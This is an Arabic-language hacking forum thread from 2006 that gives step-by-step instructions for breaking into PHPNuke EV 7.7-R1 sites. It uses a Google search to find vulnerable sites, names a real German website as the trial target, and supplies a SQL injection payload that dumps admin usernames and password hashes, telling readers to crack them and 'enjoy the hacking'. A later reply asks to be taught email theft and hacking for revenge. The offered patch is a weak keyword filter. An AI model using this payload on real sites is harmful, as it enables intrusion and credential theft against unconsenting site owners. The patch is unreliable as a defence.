~[ ثغره بسيطه جدا PHPNuke EV 7.7 -R1 جديده... ]~

31-Jan-2006, 01:32 PM

بسم الله الرحمن الرحيم

ثغره PHPNuke EV 7.7 -R1 الجديده

تكنك هالثغره من التوصل الي الهاش المشفر للادمن

طيب ندخل بالشرح

اول شئ نروح لأي محرك بحث وانصحك بجوجل
«®°·.¸.•°°·.¸¸.•°°·.¸.•°®»www.GooGle.com «®°·.¸.•°°·.¸¸.•°°·.¸.•°®»

في خانه البحث دخل : PHPNuke EV 7.7 -R1

راح تشوف مواقع كثير جدا جدا مصابه
على سبيل مثال اخترنا فأر تجارب هالمره
موقع دنمركي

http://www.karate-goettingen.de

طيب الحين ندخل بالاظافات

www.xxx.com/modules.php?name=Search

يعني بعد الموقع راح تحط الرابط هذا
modules.php?name=Search

يعني راح يصير بهالشكل

http://www.karate-goettingen.de/modules.php?name=Search

بعد ما تدخل هالجمله
اضغط Enter

اذا الموقع مصاب
راح يطلعلك مكان بحث
يعني تكت فيه شئ علشان يبحثلك عليه

طيب

نكتب بخانه البحث هالجمله

كود:

s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/*

شوف الصوره:-

وبعدها تضغط المربع الي جنب خانه البحث

وراح تشوف اسفل الصفحه
الباسووردات المشفره

شوف الصوره:-

فك تشفير الباسووردات
وتمتع بالاختراق

وانشالله عن قريب
راح اشرحلكم
كيفيه فك الباسووردات

سلام

31-Jan-2006, 01:34 PM

نسيت لا اقولكم طريقه الترقيع

افتح الملف modules/Search/index.php

وبعد الكود هذا

require_once("mainfile.php");
$instory = '';
$module_name = basename(dirname(__FILE__));
get_lang($module_name);

ضيف الجمله هذي

if(eregi("UNION SELECT",$query) || eregi("UNION%20SELECT",$query)){
die();
}

ارجوا عند نقل الثغره

ذكر اسمي واسم مياسه

رجاء خاص

سلام

31-Jan-2006, 08:15 PM

[بالله عليك علمني سرقةe-mail واختراق الكمبيوترلاني اريد الانتقام من هولانديين يؤيدون الدنمارك و النرويج ويفعلون مثلهم.للعلم انا مسلم اعيش في هولنداQUOTE=كويتي^صخر]نسيت لا اقولكم طريقه الترقيع

افتح الملف modules/Search/index.php

وبعد الكود هذا

require_once("mainfile.php");
$instory = '';
$module_name = basename(dirname(__FILE__));
get_lang($module_name);

ضيف الجمله هذي

if(eregi("UNION SELECT",$query) || eregi("UNION%20SELECT",$query)){
die();
}

ارجوا عند نقل الثغره

ذكر اسمي واسم مياسه

رجاء خاص

سلام[/quote]

01-Feb-2006, 04:35 AM

السلام عليكم

مشكور يالغالي كويتي صخر والله يعطيك الف عافيه على المجهودك الرائع

تسلم لي

تحياتي لك

01-Feb-2006, 08:08 AM

يعطيك العافية أخوي كويتي صخر على الدرس والموضوع

بس الصور ما أظهرت

ياليت تشوف الصور

ليش ما أظهرت

وشكرا

أخوك
أنوش

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)

~[ ثغره بسيطه جدا PHPNuke EV 7.7 -R1 جديده... ]~

|[ •°•¤ اللدغه السامه¤•°• ]|